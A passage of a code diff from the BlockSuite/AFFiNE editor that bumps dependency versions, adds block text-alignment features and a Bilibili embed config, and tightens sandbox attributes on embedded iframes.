"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -39,5 +39,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -20,7 +20,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-edgeless-toolbar": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -28,9 +28,9 @@
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.16",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -43,5 +43,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -20,7 +20,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -30,13 +30,13 @@
"@types/lodash-es": "^4.17.12",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "3.1.3"
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -323,7 +323,8 @@ export class EmbedLinkedDocBlockComponent extends EmbedBlockComponent<EmbedLinke
private readonly _renderEmbedView = () => {
const linkedDoc = this.linkedDoc;
const isDeleted = !linkedDoc;
const trash = linkedDoc?.meta?.trash;
const isDeleted = trash || !linkedDoc;
const isLoading = this._loading;
const isError = this.isError;
const isEmpty = this._isDocEmpty() && this.isBannerEmpty;
@@ -521,11 +522,6 @@ export class EmbedLinkedDocBlockComponent extends EmbedBlockComponent<EmbedLinke
);
this._setDocUpdatedAt();
this.disposables.add(
this.store.workspace.slots.docListUpdated.subscribe(() => {
this._setDocUpdatedAt();
})
);
if (this._referenceToNode) {
this._linkedDocMode = this.model.props.params?.mode ?? 'page';
@@ -554,6 +550,13 @@ export class EmbedLinkedDocBlockComponent extends EmbedBlockComponent<EmbedLinke
})
);
this.disposables.add(
this.store.workspace.slots.docListUpdated.subscribe(() => {
this._setDocUpdatedAt();
this.refreshData();
})
);
this._trackCitationDeleteEvent();
}

View File

@@ -56,6 +56,9 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
// Caches total bounds, includes all blocks and elements.
private _cachedBounds: Bound | null = null;
private _hasRenderedSyncedView = false;
private _hasInitedFitEffect = false;
private readonly _initEdgelessFitEffect = () => {
const fitToContent = () => {
if (this.isPageMode) return;
@@ -357,10 +360,14 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
};
refreshData = () => {
this._load().catch(e => {
console.error(e);
this._error = true;
});
this._load()
.then(() => {
this._isEmptySyncedDoc = isEmptyDoc(this.syncedDoc, this.editorMode);
})
.catch(e => {
console.error(e);
this._error = true;
});
};
title$ = computed(() => {
@@ -445,7 +452,8 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
this._cycle = false;
const syncedDoc = this.syncedDoc;
if (!syncedDoc) {
const trash = syncedDoc?.meta?.trash;
if (trash || !syncedDoc) {
this._deleted = true;
this._loading = false;
return;
@@ -521,6 +529,7 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
this.disposables.add(
this.store.workspace.slots.docListUpdated.subscribe(() => {
this._setDocUpdatedAt();
this.refreshData();
})
);
@@ -552,8 +561,6 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
this._selectBlock();
}
});
this._initEdgelessFitEffect();
}
override renderBlock() {
@@ -581,12 +588,21 @@ export class EmbedSyncedDocBlockComponent extends EmbedBlockComponent<EmbedSynce
);
}
!this._hasRenderedSyncedView && (this._hasRenderedSyncedView = true);
return this._renderSyncedView();
}
override updated(changedProperties: PropertyValues) {
super.updated(changedProperties);
this.syncedDocCard?.requestUpdate();
if (!this._hasInitedFitEffect && this._hasRenderedSyncedView) {
/* Register the resizeObserver AFTER syncdView viewport's own resizeObserver
* so that viewport.onResize() use up-to-date boundingClientRect values */
this._hasInitedFitEffect = true;
this._initEdgelessFitEffect();
}
}
@state()

View File

@@ -20,7 +20,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -30,13 +30,13 @@
"@types/lodash-es": "^4.17.12",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "3.1.3"
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -82,7 +82,8 @@ export class EmbedFigmaBlockComponent extends EmbedBlockComponent<EmbedFigmaMode
<div class="affine-embed-figma-iframe-container">
<iframe
src=${`https://www.figma.com/embed?embed_host=blocksuite&url=${url}`}
allowfullscreen
sandbox="allow-same-origin allow-scripts allow-presentation"
allow="fullscreen"
loading="lazy"
credentialless
></iframe>

View File

@@ -0,0 +1,79 @@
import { EmbedIframeConfigExtension } from '@blocksuite/affine-shared/services';
import {
type EmbedIframeUrlValidationOptions,
validateEmbedIframeUrl,
} from '../../utils';
const BILIBILI_DEFAULT_WIDTH_IN_SURFACE = 800;
const BILIBILI_DEFAULT_HEIGHT_IN_SURFACE = 450;
const BILIBILI_DEFAULT_HEIGHT_IN_NOTE = 450;
const BILIBILI_DEFAULT_WIDTH_PERCENT = 100;
const bilibiliValidationOptions: EmbedIframeUrlValidationOptions = {
protocols: ['https:'],
hostnames: ['player.bilibili.com', 'www.bilibili.com', 'bilibili.com'],
};
const biliPlayerValidationOptions: EmbedIframeUrlValidationOptions = {
protocols: ['https:'],
hostnames: ['player.bilibili.com'],
};
const AV_REGEX = /av([0-9]+)/i;
const BV_REGEX = /(BV[0-9A-Za-z]{10})/;
const extractAvid = (url: string) => {
const match = url.match(AV_REGEX);
return match ? match[1] : undefined;
};
const extractBvid = (url: string) => {
const match = url.match(BV_REGEX);
return match ? match[1] : undefined;
};
const buildBiliPlayerEmbedUrl = (url: string) => {
// If the user pasted the embed URL directly, keep it
if (validateEmbedIframeUrl(url, biliPlayerValidationOptions)) {
return url;
}
const avid = extractAvid(url);
if (avid) {
const params = new URLSearchParams({
aid: avid,
autoplay: '0',
});
return `https://player.bilibili.com/player.html?${params.toString()}`;
}
const bvid = extractBvid(url);
if (bvid) {
const params = new URLSearchParams({
bvid,
autoplay: '0',
});
return `https://player.bilibili.com/player.html?${params.toString()}`;
}
return undefined;
};
const bilibiliConfig = {
name: 'bilibili',
match: (url: string) =>
validateEmbedIframeUrl(url, bilibiliValidationOptions) &&
(!!extractAvid(url) || !!extractBvid(url)),
buildOEmbedUrl: buildBiliPlayerEmbedUrl,
useOEmbedUrlDirectly: true,
options: {
widthInSurface: BILIBILI_DEFAULT_WIDTH_IN_SURFACE,
heightInSurface: BILIBILI_DEFAULT_HEIGHT_IN_SURFACE,
heightInNote: BILIBILI_DEFAULT_HEIGHT_IN_NOTE,
widthPercent: BILIBILI_DEFAULT_WIDTH_PERCENT,
allow: 'clipboard-write; encrypted-media; picture-in-picture',
sandbox: 'allow-same-origin allow-scripts',
style: 'border: none; border-radius: 8px;',
allowFullscreen: true,
},
};
export const BilibiliEmbedConfig = EmbedIframeConfigExtension(bilibiliConfig);

View File

@@ -67,8 +67,9 @@ const genericConfig = {
heightInNote: GENERIC_DEFAULT_HEIGHT_IN_NOTE,
allowFullscreen: true,
style: 'border: none; border-radius: 8px;',
allow: 'clipboard-read; clipboard-write; picture-in-picture;',
allow: '',
referrerpolicy: 'no-referrer-when-downgrade',
sandbox: 'allow-scripts',
},
};

View File

@@ -1,3 +1,4 @@
import { BilibiliEmbedConfig } from './bilibili';
import { ExcalidrawEmbedConfig } from './excalidraw';
import { GenericEmbedConfig } from './generic';
import { GoogleDocsEmbedConfig } from './google-docs';
@@ -11,5 +12,6 @@ export const EmbedIframeConfigExtensions = [
MiroEmbedConfig,
ExcalidrawEmbedConfig,
GoogleDocsEmbedConfig,
BilibiliEmbedConfig,
GenericEmbedConfig,
];

View File

@@ -23,7 +23,7 @@ import {
type ReadonlySignal,
signal,
} from '@preact/signals-core';
import { html } from 'lit';
import { html, nothing } from 'lit';
import { query } from 'lit/decorators.js';
import { type ClassInfo, classMap } from 'lit/directives/class-map.js';
import { ifDefined } from 'lit/directives/if-defined.js';
@@ -45,6 +45,10 @@ import { safeGetIframeSrc } from './utils.js';
export type EmbedIframeStatus = 'idle' | 'loading' | 'success' | 'error';
const TRUSTED_SANDBOX =
'allow-same-origin allow-scripts allow-forms allow-presentation';
const UNTRUSTED_SANDBOX = 'allow-scripts';
export class EmbedIframeBlockComponent extends CaptionedBlockComponent<EmbedIframeBlockModel> {
selectedStyle$: ReadonlySignal<ClassInfo> | null = computed<ClassInfo>(
() => ({
@@ -89,6 +93,7 @@ export class EmbedIframeBlockComponent extends CaptionedBlockComponent<EmbedIfra
});
protected iframeOptions: IframeOptions | undefined = undefined;
private currentConfigName: string | undefined;
get embedIframeService() {
return this.std.get(EmbedIframeService);
@@ -279,6 +284,10 @@ export class EmbedIframeBlockComponent extends CaptionedBlockComponent<EmbedIfra
const config = this.embedIframeService?.getConfig(url);
if (config) {
this.iframeOptions = config.options;
this.currentConfigName = config.name;
} else {
this.iframeOptions = undefined;
this.currentConfigName = undefined;
}
};
@@ -328,26 +337,46 @@ export class EmbedIframeBlockComponent extends CaptionedBlockComponent<EmbedIfra
referrerpolicy,
scrolling,
allowFullscreen,
sandbox,
} = this.iframeOptions ?? {};
const width = `${widthPercent}%`;
// if the block is in the surface, use 100% as the height
// otherwise, use the heightInNote
const height = this.inSurface ? '100%' : heightInNote;
return html`
<iframe
const sandboxValue =
sandbox ??
(this.currentConfigName === 'generic'
? UNTRUSTED_SANDBOX
: TRUSTED_SANDBOX);
const sourceHost = this._getSourceHost();
return html`<iframe
width=${width ?? DEFAULT_IFRAME_WIDTH}
height=${height ?? DEFAULT_IFRAME_HEIGHT}
?allowfullscreen=${allowFullscreen}
loading="lazy"
frameborder="0"
credentialless
sandbox=${sandboxValue}
src=${ifDefined(iframeUrl)}
allow=${ifDefined(allow)}
referrerpolicy=${ifDefined(referrerpolicy)}
scrolling=${ifDefined(scrolling)}
style=${ifDefined(style)}
></iframe>
`;
${sourceHost
? html`<div class="affine-embed-iframe-source">${sourceHost}</div>`
: nothing}`;
};
private readonly _getSourceHost = () => {
const url = this.model.props.url ?? this.model.props.iframeUrl;
if (!url) return null;
try {
const parsed = new URL(url);
return parsed.hostname;
} catch {
return null;
}
};
private readonly _renderContent = () => {

View File

@@ -23,6 +23,19 @@ export const embedIframeBlockStyles = css`
height: 100%;
display: none;
}
.affine-embed-iframe-source {
position: absolute;
left: 8px;
bottom: 8px;
padding: 2px 6px;
background: rgba(0, 0, 0, 0.7);
color: #fff;
border-radius: 4px;
font-size: 12px;
line-height: 16px;
pointer-events: none;
}
.affine-embed-iframe-block-overlay.show {
display: block;
}

View File

@@ -124,7 +124,8 @@ export class EmbedLoomBlockComponent extends EmbedBlockComponent<
<iframe
src=${`https://www.loom.com/embed/${videoId}?hide_title=true`}
frameborder="0"
allow="fullscreen; accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
allow="fullscreen; autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share"
sandbox="allow-scripts allow-same-origin allow-presentation"
loading="lazy"
credentialless
></iframe>

View File

@@ -148,8 +148,8 @@ export class EmbedYoutubeBlockComponent extends EmbedBlockComponent<
type="text/html"
src=${`https://www.youtube.com/embed/${videoId}`}
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
allowfullscreen
allow="fullscreen; autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share"
sandbox="allow-scripts allow-same-origin allow-presentation"
loading="lazy"
credentialless
></iframe>

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-widget-edgeless-toolbar": "workspace:*",
"@blocksuite/affine-widget-frame-title": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -28,10 +28,10 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -28,9 +28,9 @@
"@toeverything/theme": "^1.1.16",
"file-type": "^21.0.0",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -44,5 +44,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -1,4 +1,5 @@
import { ImageBlockModel } from '@blocksuite/affine-model';
import { updateBlockAlign } from '@blocksuite/affine-block-note';
import { ImageBlockModel, TextAlign } from '@blocksuite/affine-model';
import {
ActionPlacement,
blockCommentToolbarButton,
@@ -12,6 +13,9 @@ import {
DeleteIcon,
DownloadIcon,
DuplicateIcon,
TextAlignCenterIcon,
TextAlignLeftIcon,
TextAlignRightIcon,
} from '@blocksuite/icons/lit';
import { BlockFlavourIdentifier } from '@blocksuite/std';
import type { ExtensionType } from '@blocksuite/store';
@@ -51,7 +55,55 @@ const builtinToolbarConfig = {
},
},
{
id: 'c.comment',
id: 'c.1.align-left',
tooltip: 'Align left',
icon: TextAlignLeftIcon(),
run(ctx) {
const block = ctx.getCurrentBlockByType(ImageBlockComponent);
if (block) {
ctx.chain
.pipe(updateBlockAlign, {
textAlign: TextAlign.Left,
selectedBlocks: [block],
})
.run();
}
},
},
{
id: 'c.2.align-center',
tooltip: 'Align center',
icon: TextAlignCenterIcon(),
run(ctx) {
const block = ctx.getCurrentBlockByType(ImageBlockComponent);
if (block) {
ctx.chain
.pipe(updateBlockAlign, {
textAlign: TextAlign.Center,
selectedBlocks: [block],
})
.run();
}
},
},
{
id: 'c.3.align-right',
tooltip: 'Align right',
icon: TextAlignRightIcon(),
run(ctx) {
const block = ctx.getCurrentBlockByType(ImageBlockComponent);
if (block) {
ctx.chain
.pipe(updateBlockAlign, {
textAlign: TextAlign.Right,
selectedBlocks: [block],
})
.run();
}
},
},
{
id: 'd.comment',
...blockCommentToolbarButton,
},
{

View File

@@ -143,6 +143,15 @@ export class ImageBlockComponent extends CaptionedBlockComponent<ImageBlockModel
width: '100%',
});
const alignItemsStyleMap = styleMap({
alignItems:
this.model.props.textAlign$.value === 'left'
? 'flex-start'
: this.model.props.textAlign$.value === 'right'
? 'flex-end'
: undefined,
});
const resovledState = this.resourceController.resolveStateWith({
loadingIcon: LoadingIcon({
strokeColor: cssVarV2('button/pureWhiteText'),
@@ -162,6 +171,7 @@ export class ImageBlockComponent extends CaptionedBlockComponent<ImageBlockModel
html`<affine-page-image
.block=${this}
.state=${resovledState}
style="${alignItemsStyleMap}"
></affine-page-image>`,
() =>
html`<affine-image-fallback-card

View File

@@ -19,7 +19,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -28,12 +28,12 @@
"@toeverything/theme": "^1.1.16",
"@types/katex": "^0.16.7",
"@types/mdast": "^4.0.4",
"katex": "^0.16.11",
"katex": "^0.16.27",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"minimatch": "^10.1.1",
"remark-math": "^6.0.0",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -18,7 +18,7 @@
"@blocksuite/affine-rich-text": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -27,12 +27,12 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"devDependencies": {
"vitest": "3.1.3"
"vitest": "^3.2.4"
},
"exports": {
".": "./src/index.ts",
@@ -46,5 +46,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -150,6 +150,10 @@ export class ListBlockComponent extends CaptionedBlockComponent<ListBlockModel>
const listIcon = getListIcon(model, !collapsed, _onClickIcon);
const textAlignStyle = styleMap({
textAlign: this.model.props.textAlign$?.value,
});
const children = html`<div
class="affine-block-children-container"
style=${styleMap({
@@ -161,7 +165,7 @@ export class ListBlockComponent extends CaptionedBlockComponent<ListBlockModel>
</div>`;
return html`
<div class=${'affine-list-block-container'}>
<div class=${'affine-list-block-container'} style="${textAlignStyle}">
<div
class=${classMap({
'affine-list-rich-text-wrapper': true,

View File

@@ -1,4 +1,5 @@
import type { ListBlockModel } from '@blocksuite/affine-model';
import { getNumberPrefix } from '@blocksuite/affine-shared/utils';
import {
BulletedList01Icon,
BulletedList02Icon,
@@ -11,8 +12,6 @@ import {
} from '@blocksuite/icons/lit';
import { html } from 'lit';
import { getNumberPrefix } from './get-number-prefix.js';
const getListDeep = (model: ListBlockModel): number => {
let deep = 0;
let parent = model.store.getParent(model);

View File

@@ -22,7 +22,7 @@
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/affine-widget-slash-menu": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@lit/context": "^1.1.2",
@@ -33,9 +33,9 @@
"@vanilla-extract/css": "^1.17.0",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -49,5 +49,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -8,3 +8,4 @@ export { indentBlock } from './indent-block.js';
export { indentBlocks } from './indent-blocks.js';
export { selectBlock } from './select-block.js';
export { selectBlocksBetween } from './select-blocks-between.js';
export { updateBlockAlign } from './update-block-align.js';

View File

@@ -0,0 +1,53 @@
import type { TextAlign } from '@blocksuite/affine-model';
import {
getBlockSelectionsCommand,
getImageSelectionsCommand,
getSelectedBlocksCommand,
getTextSelectionCommand,
} from '@blocksuite/affine-shared/commands';
import {
type BlockComponent,
type Command,
TextSelection,
} from '@blocksuite/std';
type UpdateBlockAlignConfig = {
textAlign: TextAlign;
selectedBlocks?: BlockComponent[];
};
export const updateBlockAlign: Command<UpdateBlockAlignConfig> = (
ctx,
next
) => {
let { std, textAlign, selectedBlocks } = ctx;
if (!selectedBlocks) {
const [result, ctx] = std.command
.chain()
.tryAll(chain => [
chain.pipe(getTextSelectionCommand),
chain.pipe(getBlockSelectionsCommand),
chain.pipe(getImageSelectionsCommand),
])
.pipe(getSelectedBlocksCommand, { types: ['text', 'block', 'image'] })
.run();
if (result) {
selectedBlocks = ctx.selectedBlocks;
}
}
if (!selectedBlocks || selectedBlocks.length === 0) return false;
selectedBlocks.forEach(block => {
std.store.updateBlock(block.model, { textAlign });
});
const selectionManager = std.host.selection;
const textSelection = selectionManager.find(TextSelection);
if (!textSelection) {
return false;
}
selectionManager.setGroup('note', [textSelection]);
return next();
};

View File

@@ -4,9 +4,15 @@ import {
textFormatConfigs,
} from '@blocksuite/affine-inline-preset';
import {
type TextAlignConfig,
textAlignConfigs,
type TextConversionConfig,
textConversionConfigs,
} from '@blocksuite/affine-rich-text';
import {
getSelectedModelsCommand,
getTextSelectionCommand,
} from '@blocksuite/affine-shared/commands';
import { isInsideBlockByFlavour } from '@blocksuite/affine-shared/utils';
import {
type SlashMenuActionItem,
@@ -17,7 +23,7 @@ import {
import { HeadingsIcon } from '@blocksuite/icons/lit';
import { BlockSelection } from '@blocksuite/std';
import { updateBlockType } from '../commands';
import { updateBlockAlign, updateBlockType } from '../commands';
import { tooltips } from './tooltips';
let basicIndex = 0;
@@ -60,6 +66,10 @@ const noteSlashMenuConfig: SlashMenuConfig = {
createConversionItem(config, `1_List@${index++}`)
),
...textAlignConfigs.map((config, index) =>
createAlignItem(config, `2_Align@${index++}`)
),
...textFormatConfigs
.filter(i => !['Code', 'Link'].includes(i.name))
.map((config, index) =>
@@ -72,12 +82,13 @@ function createConversionItem(
config: TextConversionConfig,
group?: SlashMenuItem['group']
): SlashMenuActionItem {
const { name, description, icon, flavour, type } = config;
const { name, description, icon, flavour, type, searchAlias = [] } = config;
return {
name,
group,
description,
icon,
searchAlias,
tooltip: tooltips[name],
when: ({ model }) => model.store.schema.flavourSchemaMap.has(flavour),
action: ({ std }) => {
@@ -89,6 +100,26 @@ function createConversionItem(
};
}
function createAlignItem(
config: TextAlignConfig,
group?: SlashMenuItem['group']
): SlashMenuActionItem {
const { textAlign, name, icon } = config;
return {
name,
group,
icon,
action: ({ std }) => {
std.command
.chain()
.pipe(getTextSelectionCommand)
.pipe(getSelectedModelsCommand, { types: ['text'] })
.pipe(updateBlockAlign, { textAlign })
.run();
},
};
}
function createTextFormatItem(
config: TextFormatConfig,
group?: SlashMenuItem['group']

View File

@@ -5,7 +5,10 @@ import {
NoteBlockSchema,
ParagraphBlockModel,
} from '@blocksuite/affine-model';
import { textConversionConfigs } from '@blocksuite/affine-rich-text';
import {
textAlignConfigs,
textConversionConfigs,
} from '@blocksuite/affine-rich-text';
import {
focusBlockEnd,
focusBlockStart,
@@ -36,6 +39,7 @@ import {
indentBlocks,
selectBlock,
selectBlocksBetween,
updateBlockAlign,
updateBlockType,
} from './commands';
import { moveBlockConfigs } from './move-block';
@@ -157,6 +161,36 @@ class NoteKeymap {
);
};
private readonly _bindTextAlignHotKey = () => {
return textAlignConfigs.reduce(
(acc, item) => {
const keymap = item.hotkey!.reduce(
(acc, key) => {
return {
...acc,
[key]: ctx => {
ctx.get('defaultState').event.preventDefault();
const [result] = this._std.command
.chain()
.pipe(updateBlockAlign, { textAlign: item.textAlign })
.run();
return result;
},
};
},
{} as Record<string, UIEventHandler>
);
return {
...acc,
...keymap,
};
},
{} as Record<string, UIEventHandler>
);
};
private _focusBlock: BlockComponent | null = null;
private readonly _getClosestNoteByBlockId = (blockId: string) => {
@@ -568,6 +602,7 @@ class NoteKeymap {
...this._bindMoveBlockHotKey(),
...this._bindQuickActionHotKey(),
...this._bindTextConversionHotKey(),
...this._bindTextAlignHotKey(),
Tab: ctx => {
const [success] = this.std.command.exec(indentBlocks);

View File

@@ -26,9 +26,9 @@
"@toeverything/theme": "^1.1.16",
"@types/mdast": "^4.0.4",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -42,5 +42,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -264,6 +264,10 @@ export class ParagraphBlockComponent extends CaptionedBlockComponent<ParagraphBl
`;
}
const textAlignStyle = styleMap({
textAlign: this.model.props.textAlign$?.value,
});
const children = html`<div
class="affine-block-children-container"
style=${styleMap({
@@ -288,6 +292,7 @@ export class ParagraphBlockComponent extends CaptionedBlockComponent<ParagraphBl
'affine-paragraph-block-container': true,
'highlight-comment': this.isCommentHighlighted,
})}
style="${textAlignStyle}"
data-has-collapsed-siblings="${collapsedSiblings.length > 0}"
>
<div

View File

@@ -24,7 +24,7 @@ import {
getPrevContentBlock,
matchModels,
} from '@blocksuite/affine-shared/utils';
import { IS_MOBILE } from '@blocksuite/global/env';
import { IS_ANDROID, IS_MOBILE } from '@blocksuite/global/env';
import { BlockSelection, type EditorHost } from '@blocksuite/std';
import type { BlockModel, Text } from '@blocksuite/store';
@@ -79,6 +79,28 @@ export function mergeWithPrev(editorHost: EditorHost, model: BlockModel) {
index: lengthBeforeJoin,
length: 0,
}).catch(console.error);
// due to some IME like Microsoft Swift IME on Android will reset range after join text,
// for example:
//
// $ZERO_WIDTH_FOR_EMPTY_LINE <--- p1
// |aaa <--- p2
//
// after pressing backspace, during beforeinput event, the native range is (p1, 1) -> (p2, 0)
// and after browser and IME handle the event, the native range is (p1, 1) -> (p1, 1)
//
// a|aa <--- p1
//
// so we need to set range again after join text.
if (IS_ANDROID) {
setTimeout(() => {
asyncSetInlineRange(editorHost.std, prevBlock, {
index: lengthBeforeJoin,
length: 0,
}).catch(console.error);
});
}
return true;
}

View File

@@ -38,7 +38,7 @@
"@blocksuite/affine-widget-edgeless-toolbar": "workspace:*",
"@blocksuite/data-view": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.12",
"@blocksuite/icons": "^2.2.17",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.13",
@@ -46,14 +46,14 @@
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.16",
"@types/lodash-es": "^4.17.12",
"dompurify": "^3.2.4",
"dompurify": "^3.3.0",
"html2canvas": "^1.4.1",
"lit": "^3.2.0",
"lodash-es": "^4.17.21",
"minimatch": "^10.0.1",
"rxjs": "^7.8.1",
"yjs": "^13.6.21",
"zod": "^3.23.8"
"minimatch": "^10.1.1",
"rxjs": "^7.8.2",
"yjs": "^13.6.27",
"zod": "^3.25.76"
},
"exports": {
".": "./src/index.ts",
@@ -67,5 +67,5 @@
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.22.4"
"version": "0.25.7"
}

View File

@@ -8,7 +8,10 @@ import {
notifyDocCreated,
promptDocTitle,
} from '@blocksuite/affine-block-embed';
import { updateBlockType } from '@blocksuite/affine-block-note';
import {
updateBlockAlign,
updateBlockType,
} from '@blocksuite/affine-block-note';
import type { HighlightType } from '@blocksuite/affine-components/highlight-dropdown-menu';
import { toast } from '@blocksuite/affine-components/toast';
import { EditorChevronDown } from '@blocksuite/affine-components/toolbar';
@@ -23,8 +26,12 @@ import {
import {
EmbedLinkedDocBlockSchema,
EmbedSyncedDocBlockSchema,
type TextAlign,
} from '@blocksuite/affine-model';
import { textConversionConfigs } from '@blocksuite/affine-rich-text';
import {
textAlignConfigs,
textConversionConfigs,
} from '@blocksuite/affine-rich-text';
import {
copySelectedModelsCommand,
deleteSelectedModelsCommand,
@@ -46,6 +53,7 @@ import {
ActionPlacement,
blockCommentToolbarButton,
} from '@blocksuite/affine-shared/services';
import { getMostCommonValue } from '@blocksuite/affine-shared/utils';
import { tableViewMeta } from '@blocksuite/data-view/view-presets';
import {
CopyIcon,
@@ -130,6 +138,64 @@ const conversionsActionGroup = {
},
} as const satisfies ToolbarActionGenerator;
const alignActionGroup = {
id: 'b.align',
